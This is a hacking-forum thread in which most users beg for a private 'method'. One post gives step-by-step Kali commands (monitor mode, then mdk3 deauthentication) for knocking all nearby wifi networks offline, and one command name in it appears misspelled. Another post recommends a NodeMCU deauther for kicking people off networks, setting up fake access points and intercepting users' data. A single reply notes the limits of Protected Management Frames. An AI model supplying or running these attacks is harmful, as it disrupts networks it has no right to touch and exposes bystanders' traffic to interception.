So you just join hf., your "tutorial/thread" well it's ****.. Just put your "tutorial" on the thread.

Also read this <https://hackforums.net/showthread.php?tid=1852486>

Redzzerr - March 21, 2019, 9:18 am

hello boss.. please send me link..

kaikunika - March 23, 2019, 1:50 pm

send me link my friend :)

XMR - March 23, 2019, 2:44 pm

Code <Boot up Kali Linux box/VM>
<Plug in wifi card>

```
# ifconfig (to get name of wifi card)
# aironet-ng start wlan0 (or whatever your wifi card's name is)
<Your wifi card will now be named wlan0mon (or whatever name with 'mon' at the end)>
# mdk3 wlan0mon d (deauthenticates all nearby wifi networks)
This is all you need to do. No need to PM this joker.
```

maiusika92 - March 23, 2019, 3:25 pm

send me a private message, I'm interested

wtsxhack - March 31, 2019, 9:29 am

would be better if you write what this course have

de_g3ntl3m4n - March 31, 2019, 7:36 pm

If your still do, may i also receive? pm me?

Thanks!

Thelazygeek - April 17, 2019, 4:34 pm

Hi could you pm me for this thanks

Internet - April 18, 2019, 10:04 am

FYI - This will have zero impact on networks with Protected Management Frames (PMF) enabled.
PMF is sadly not utilized much due to possible client-side issues.

Papi101 - April 19, 2019, 2:09 am

i am interested bro... I hope you get this message and reply me

THC - April 19, 2019, 2:10 am

Would be interested to see this, inb4 how to deauth networks.

ChristineSkold - April 19, 2019, 5:31 am

i want this method. send me a pm

L34rner - April 19, 2019, 5:33 am

Mahdi - December 17, 2019, 12:38 pm

Pm me please I'm super interested

GoodBoy - December 17, 2019, 12:46 pm

It is very easy guys,

You have to buy a NOdeMcu cost around 3\$,
then upload Wifi deauther tool which is publicly available on GitHub,
and
then you can do a lot of things using this device like;
kicking people out of a wifi network.
creating fake wifi accesspoint , random ones,
to intercept users data , etc

Thaxified - December 19, 2019, 1:49 am

is this like ddos ? but then on wifi????

Who Cares - December 19, 2019, 8:26 am

mdk was interesting back when I tried to figure out how to mess around with other Wi-Fi routers,
currently still interested in finding out and learning what I can do to all things that are wireless
including thing like WI-Fi, Bluetooth, RF and so on.
